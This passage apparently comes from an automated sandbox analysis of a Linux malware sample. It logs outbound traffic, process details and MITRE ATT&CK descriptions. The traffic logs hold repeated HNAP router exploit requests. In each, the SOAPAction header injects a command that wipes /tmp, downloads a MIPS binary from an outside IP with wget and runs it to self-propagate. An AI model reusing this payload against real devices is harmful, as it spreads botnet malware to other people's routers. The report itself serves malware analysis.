xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	52376	187.124.242.50	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.155038118 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	46882	1.178.171.139	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.159439087 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	40108	4.252.192.158	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.162949085 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	47274	99.217.244.226	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.171634912 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	47716	110.230.124.54	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.184019089 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	39514	222.1.41.48	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.187021017 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	58516	62.143.254.184	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.190879107 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	49272	149.47.207.151	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.194442987 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	49146	79.211.151.120	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.198944092 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	44202	150.134.66.131	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.202608109 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

System Behavior

Analysis Process: U6YcZ2TLtT.elf PID: 5488, Parent PID: 5410

General

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	/tmp/U6YcZ2TLtT.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:01:00
Start date (UTC):	20/07/2024
Path:	/tmp/U6YcZ2TLtT.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
